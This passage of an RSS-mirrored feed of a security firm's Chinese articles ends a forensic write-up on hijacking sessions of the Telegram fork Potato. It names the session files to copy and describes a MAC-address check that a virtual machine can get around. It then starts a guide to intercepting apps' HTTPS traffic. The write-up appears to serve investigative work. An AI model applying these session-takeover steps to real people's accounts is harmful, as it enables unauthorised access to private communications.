md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">map*</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">文件不仅仅存储了登录用户的信息和各种配置信息，同时还存储了解密文件的主密钥</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">localKey</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">。在后续高版本的telegram中，才将这两部分数据分别存储在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">maps</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">文件和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">key_datas</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">文件。</span></span></p><h3 cid="n146" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 20px;"><strong>B.session 劫持</strong></span></h3><p cid="n147" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">尝试将telegram session劫持的思路运用在potato上，会发现无法成功。将日志与比对成功的session劫持的日志进行比对，发现在恢复session的过程中，调用了类似于</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">getMacAddress</code></span><span md-inline="plain" style="box-sizing: border-box;">函数来获取本机的MAC地址。</span></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="173" data-backw="538" data-galleryid="" data-s="300,640" data-w="1080" data-type="png" style="width: 100%;height: auto;" data-ratio="0.32222222222222224" src="https://wechat2rss.xlab.app/img-proxy/?k=1f7b8ebd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzZ43jy3zfLjXY1jcu596ZLy7hOHUL7f4a9kumaiaeD0wdqiaVviaRMsv6g%2F640%3Fwx_fmt%3Dpng"/><span style="text-align: left;"></span></p><p cid="n149" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">因为potato是闭源软件，所以只能通过比对telegram的源码和potato产生的log日志来猜测potato二开的代码逻辑。但是在仔细比对了多个telegram版本的源代码后，并经过了漫长的断网和联网测试，发现telegram客户端中并没有获取本机MAC地址的操作，因此可以有如下的推测：</span></p><ul class="list-paddingleft-2" cid="n150" mdtype="list" data-mark="*" style="padding-left: 30px;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><li><p cid="n152" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">potato在session恢复中加入了MAC地址的校验，若本机MAC地址和session文件中存储的MAC地址不一致则无法恢复session。</span></p></li><li><p cid="n154" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">目标的MAC地址存储在session文件内。</span></p></li></ul><p cid="n155" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">先来验证第一点，这里我使用的是虚拟机作为劫持端，因为虚拟机可以很轻松的修改MAC地址，并且不会出现断网的情况。迁移方案与低版本的telegram迁移方案一致，复制</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">D877F783D5D3EF8C*</code></span><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">D877F783D5D3EF8C/map*</code></span><span md-inline="plain" style="box-sizing: border-box;">两个文件。从下图可以看到，迁移成功！</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="289" data-backw="538" data-galleryid="" data-s="300,640" data-w="1080" data-type="png" style="width: 100%;height: auto;" data-ratio="0.5370370370370371" src="https://wechat2rss.xlab.app/img-proxy/?k=a5a74af4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzBOvmnuRd0XMVKoBfQvCV1GvZn1ErOmfGyH18VdstLaYtNAXDVF3JnQ%2F640%3Fwx_fmt%3Dpng"/><span style="text-align: left;"></span></p><p><br/></p><p cid="n157" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">接下来验证第二点，这里可以借用解密telegram文件的方法来解密potato文件，但因为potato使用的是低版本的telegram进行二次开发，所以需要更改部分的解密时所使用的加密算法（比如密钥导出函数）和代码逻辑，并且potato增加了一些telegram中没有的字段和数据结构，这给解析数据造成了很大的困扰。</span></p><p cid="n158" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">最后根据一番猜测和努力，能成功解密一部分的数据，其中MAC地址就存储在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">D877F783D5D3EF8C*</code></span><span md-inline="plain" style="box-sizing: border-box;">文件中。</span><img class="rich_pages wxw-img" data-backh="233" data-backw="538" data-galleryid="" data-s="300,640" data-w="1080" data-type="png" style="text-align: center;font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 100%;height: auto;" data-ratio="0.43333333333333335" src="https://wechat2rss.xlab.app/img-proxy/?k=0f48985e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzCSUgpibFLtuCibxDT2kvaygSggZY9B1ht5xjYDd0dwPLGgfj9ibh0VfbQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p></section></section></section></section><section style="display: flex;margin-bottom: 8px;"><section style="box-sizing: border-box;width: 6px;height: 100%;background-color: rgb(239, 239, 239);border-right: 1px solid rgb(0, 0, 0);border-bottom: 1px solid rgb(0, 0, 0);overflow: hidden;"><br/></section></section></section></section></section><section data-role="paragraph"><section data-role="title" data-tools="135编辑器" data-id="108582" data-color="#59c3f9"><section style="text-align: center;margin: 10px 13px;"><section style="display: inline-block;text-align: right;"><section style="display: inline-block;transform: rotate(15deg) translate(13px, 5px);-webkit-transform: rotate(15deg) translate(13px, 5px);-moz-transform: rotate(15deg) translate(13px, 5px);-ms-transform: rotate(15deg) translate(13px, 5px);-o-transform: rotate(15deg) translate(13px, 5px);"><section style="background-image: linear-gradient(to right, rgb(89, 195, 249) 0%, rgb(148, 219, 255) 100%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 7px 2px 13px;"><section style="display: flex;justify-content: center;align-items: flex-start;"><section style="box-sizing: border-box;width: 17px;height: 2px;background-color: rgb(255, 255, 255);margin-right: -4px;overflow: hidden;transform: rotate(30deg);-webkit-transform: rotate(30deg);-moz-transform: rotate(30deg);-ms-transform: rotate(30deg);-o-transform: rotate(30deg);"><br/></section></section></section></section></section></section></section><section data-tools="135编辑器" data-id="104918"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-left: 20px;"><section style="box-sizing:border-box;width: 50px;"><img data-ratio="0.86" style="box-sizing:border-box;vertical-align:inherit;width: 100%;display: block;" data-type="png" data-w="50" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=4c8c7c29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzOcmsg3DwvE8yV2QkhDKgIv7ibgfNZwIicky9FzUxZW8Woynu1s6kMtew%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;color: rgb(118, 172, 238);line-height: 1.95em;margin-top: 5px;margin-left: -17px;"><strong><span style="font-size: 18px;">关于我们</span></strong></section></section><section style="border-width: 1px;border-style: solid;border-color: rgb(196, 219, 248);padding: 30px 25px 20px;margin-top: -7px;box-sizing: border-box;"><section data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(106, 109, 114);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;"><p style="text-align:justify;vertical-align: inherit;outline: 0px;max-width: 100%;color: rgb(21, 19, 21);letter-spacing: 1.8px;background-color: rgba(255, 255, 255, 0.68);font-family: -apple-system, BlinkMacSystemFont, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;">长沙零鉴科技有限公司是一家以前沿安全技术为尖刀，高水平安全人才为支柱，在信息安全日益严峻的形势下专业从事网络信息安全技术的自主创新型企业，零鉴科技致力于打击网络犯罪领域的技术研究与产品研发。</span></p><p style="text-align:justify;vertical-align: inherit;outline: 0px;max-width: 100%;color: rgb(21, 19, 21);letter-spacing: 1.8px;background-color: rgba(255, 255, 255, 0.68);font-family: -apple-system, BlinkMacSystemFont, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;vertical-align: inherit;outline: 0px;max-width: 100%;color: rgb(21, 19, 21);letter-spacing: 1.8px;background-color: rgba(255, 255, 255, 0.68);font-family: -apple-system, BlinkMacSystemFont, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;">截至目前，零鉴科技已为不同省市的多家执法机关提供高效精确的反网络犯罪情报分析服务和优质的安全解决方案。</span></p><p style="vertical-align:inherit;"><br/></p><p style="vertical-align:inherit;"><span style="font-size: 16px;color: rgb(0, 0, 0);font-family: Helvetica, Arial, sans-serif;">也欢迎志同道合的小伙伴们与我们共同进步~</span></p><p style="vertical-align:inherit;"><span style="letter-spacing: 1.8px;background-color: rgba(255, 255, 255, 0.68);font-size: 16px;color: rgb(0, 0, 0);font-family: Helvetica, Arial, sans-serif;">简历投递邮箱：hr@zeromirror.cn</span></p></section><section style="display: flex;justify-content: flex-end;margin-top: 15px;"><section style="box-sizing: border-box;width: 80%;height: 1px;background-color: rgb(155, 195, 243);overflow: hidden;" data-width="80%"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="107247"><section style="text-align: center;margin: 10px auto;"><section style="display: inline-block;"><section style="font-size: 15px;letter-spacing: 1.5px;color: #67b1e6;"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="107247"><section style="text-align: center;margin: 10px auto;"><section style="display: inline-block;"><section style="font-size: 15px;letter-spacing: 1.5px;color: #67b1e6;"><strong data-brushtype="text" hm_fix="309:401">END</strong></section><section style="box-sizing: border-box;width: 100%;height: 4px;background-color: rgb(255, 217, 216);margin-top: -6px;overflow: hidden;" data-width="100%"><br/></section></section></section></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-tools="135编辑器" data-id="107146"><section style="text-align: center;margin: 10px auto;"><section style="background-color: rgb(200, 231, 255);margin-left: 10px;padding-right: 10px;box-sizing: border-box;"><section style="display: flex;align-items: center;"><section style="border-width: 2px;border-style: solid;border-color: rgb(255, 255, 255);border-radius: 50%;flex-shrink: 0;transform: translate(-10px, 0px);"><section style="box-sizing:border-box;width: 25px;"><img data-ratio="1.04" style="box-sizing:border-box;vertical-align:inherit;width: 100%;display: block;" data-type="png" data-w="25" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=9ac69318&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJaFvPvvA2J3ibpEyoLqVKXkOibhrgCSWIOXxHp2qDf0JcadXxJwiagARKxT2I802j8MBLC5kMMavkB0SAOS1YcPnQ%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="flex: 1;transform: translate(0px, -5px);-webkit-transform: translate(0px, -5px);-moz-transform: translate(0px, -5px);-ms-transform: translate(0px, -5px);-o-transform: translate(0px, -5px);"><section style="background-color: rgb(229, 244, 255);padding: 4px 8px;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;color: #36a6fd;text-align: left;">点击上方蓝字 · 关注我们</section></section><section data-brushtype="text" style="font-size: 12px;letter-spacing: 1.5px;color: rgb(254, 255, 255);text-align: left;margin-top: 3px;margin-bottom: 3px;">CLICK THE BLUE WORD TO FOLLOW US</section></section></section></section></section></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><p><br/></p>



<p><a href="2247484453">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5a58ea95&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247484453%26idx%3D1%26sn%3D397e9bc07219a48b45b83b8bb7984b3a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 20 Jan 2022 15:47:00 +0800</pubDate>
    </item>
    <item>
      <title>APP抓包方法总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484297&amp;idx=1&amp;sn=1c39b565150ea53e91dcbdc66997e511</link>
      <description>APP抓包方法总结~</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2021-07-12 18:53</span> <span style="display: inline-block;"></span>
</p>

<p>APP抓包方法总结~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=baa277d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtOBzfCly6GFKFXW08ZrBpTJJ90zn6ENtB7oB8icgzzwfekNwPXibFkGX7Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="Powered by 135editor.com"><section data-tools="135编辑器" data-id="105111"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;"><section style="display: flex;justify-content: center;"><section style="margin-top: auto;flex-shrink: 0;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width: 30px;"><img data-ratio="1.125" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="48" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=99592d39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtO80ZG7q64mhlGbE88Rr6sSsz7LC0rhu3pcNJdx1ibGsk8E2l9T5J8ibbg%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="border-width: 1px;border-style: solid;border-color: rgb(100, 217, 213);padding-top: 3px;padding-bottom: 3px;margin-left: -19px;box-sizing: border-box;"><section style="display:inline-block;"><section style="background-image: linear-gradient(to right, rgb(250, 250, 248), rgb(242, 255, 253));padding: 4px 20px;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #3dc2bd;"><span style="font-size: 24px;"><strong>APP抓包方法总结</strong></span></section></section></section></section><section style="display: flex;justify-content: center;align-items: center;margin-top: 4px;margin-bottom: 4px;"><section style="box-sizing: border-box;width: 5px;height: 100%;background-color: rgb(242, 255, 253);overflow: hidden;"><br/></section></section></section></section></section><section data-role="paragraph"><p><br/></p><section data-tools="135编辑器" data-id="105109"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 20px;margin-right: -13px;flex-shrink: 0;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><img data-ratio="1.4324324324324325" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="37" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=dfbc2aa9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtOb1sC33nPuD4Eicf7hsvVj6QlcjOu1587A07EMDVURV8WgQKXf7FMGiaA%2F640%3Fwx_fmt%3Dpng"/></section><section style="display:inline-block;"><section style="background-image: linear-gradient(to right, rgb(242, 255, 253), rgb(250, 250, 248));padding: 5px 20px;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #3dc2bd;"><strong>零鉴科技</strong></section></section></section></section></section></section><p><br/></p></section><section data-tools="135编辑器" data-id="105103"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;"><section style="background-image: linear-gradient(to right top, rgb(242, 255, 253), rgb(255, 248, 244));padding: 30px 20px 25px;box-sizing: border-box;"><section style="display: flex;justify-content: center;"><section data-brushtype="text" style="font-size: 12px;letter-spacing: 1.5px;color: #64d9d5;margin-right: 10px;"><strong>First</strong></section><section style="box-sizing: border-box;width: 100%;height: 1px;background-color: rgb(255, 200, 159);flex: 1 1 0%;margin-top: 9px;overflow: hidden;" data-width="100%"><br/></section></section><section data-autoskip="1" style="padding: 12px 10px 20px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(75, 91, 90);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;"><p><span style="color: rgb(63, 63, 63);font-size: 16px;text-align: left;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在对app进行https抓包的过程中，总会遇到无法抓取有效数据包的情况，本篇文章就这个问题，收集并总结了一些常用的解决方案。</span></p></section><section style="box-sizing: border-box;width: 100%;height: 1px;background-color: rgb(109, 219, 216);overflow: hidden;" data-width="100%"><br/></section></section></section></section><section data-role="paragraph"><p><br/></p><section data-tools="135编辑器" data-id="104885"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items:center;"><section style="box-sizing: border-box;width: 10px;height: 10px;background-image: linear-gradient(to right top, rgb(255, 250, 251) 0%, rgb(255, 230, 236) 100%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 50%;overflow: hidden;"><br/></section><section style="margin-right: 10px;margin-left: 10px;"><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: rgb(100, 204, 185);padding-right: 5px;padding-left: 5px;box-sizing: border-box;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 24px;"><strong>问题分析</strong></span><br/></section><section style="box-sizing: border-box;background-color: rgb(229, 255, 252);width: 100%;height: 7px;border-radius: 20px;margin-top: -5px;overflow: hidden;" data-width="100%"><br/></section></section></section><section style="box-sizing: border-box;width: 10px;height: 10px;background-image: linear-gradient(to right top, rgb(255, 254, 247) 0%, rgb(255, 251, 200) 100%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 50%;overflow: hidden;"><br/></section></section></section></section><p><br/></p></section><section data-tools="135编辑器" data-id="105105"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;"><section style="margin-top: 20px;"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong>0</strong><strong data-original-title="" title="">1/</strong></section></section><section data-autoskip="1" style="margin-top: -10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(75, 91, 90);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 25px;padding-left: 25px;transform: rotate(0deg);"><h3 cid="n5" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span style="box-sizing: border-box;font-size: 20px;"><strong>抓包工具无法抓到包，app可正常联网使用</strong></span></h3><ol class="list-paddingleft-2" start="" cid="n6" mdtype="list" style="padding-left: 30px;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><li><p cid="n8" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">使用非http协议，直接通过tcp协议或私有协议进行数据传输，比如qq，微信</span></p><p cid="n9" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">这一部分app在进行数据的传输时，大多使用自己实现的一套解析 / 解密流量的算法。若要尝试对这类app进行抓包和分析，那么则需要通过逆向app等较复杂的方法来提取其中的算法。</span></p></li><li><p cid="n11" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">app内部设置了不走系统代理的选项</span></p><p cid="n12" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">解决方案：可以使用一些第三方代理app（如Http Canary），通过使用系统vpn来强制app的http协议走代理流量，从而实现抓包。</span></p></li></ol></section><section style="display: flex;justify-content: flex-end;margin-top: -11px;"><section style="box-sizing: border-box;width: 20%;height: 15px;background-color: rgb(255, 245, 239);overflow: hidden;" data-width="20%"><br/></section></section></section><section style="margin-top: 20px;"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>0</strong><strong data-original-title="" title="">2/</strong></span><span style="color: rgb(75, 91, 90);font-size: 14px;text-align: justify;caret-color: red;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">   </span></section></section><section data-autoskip="1" style="margin-top: -10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(75, 91, 90);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 25px;padding-left: 25px;transform: rotate(0deg);"><p><br/></p><h3 cid="n13" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span style="box-sizing: border-box;font-size: 20px;"><strong>抓包工具无法抓到包，app无法联网</strong></span></h3><p><span style="color: rgb(63, 63, 63);font-size: 16px;text-align: left;text-indent: -20px;caret-color: red;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这类问题，大多数情况下可以归结为证书信任的问题。如果需要使用类似于burp或者fiddler之类的中间人抓包工具对https流量进行拦截和分析，那么势必要让app能够信任此类工具自带的证书，这样流量才能以明文的形式展现。因此，本文的后续内容主要分析在https下如何解决app的证书信任问题。</span></p><p><br/></p></section><section style="display: flex;justify-content: flex-end;margin-top: -11px;"><section style="box-sizing: border-box;width: 20%;height: 15px;background-color: rgb(255, 245, 239);overflow: hidden;" data-width="20%"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="105105"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;"><section style="margin-top: 20px;"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong>03/</strong></section></section><section data-autoskip="1" style="margin-top: -10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(75, 91, 90);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 25px;padding-left: 25px;transform: rotate(0deg);"><h3 cid="n15" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span style="box-sizing: border-box;font-size: 20px;"><strong>证书信任</strong></span></h3><p cid="n16" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">涉及到证书信任问题，不外乎以下几种情况：</span></p><ol class="list-paddingleft-2" start="" cid="n17" mdtype="list" style="padding-left: 30px;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><li><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">客户端和服务端均不对证书做校验（无认证）</span></p></li><li><p cid="n21" mdtype="paragraph" style="box-sizing: border-box;line-height: 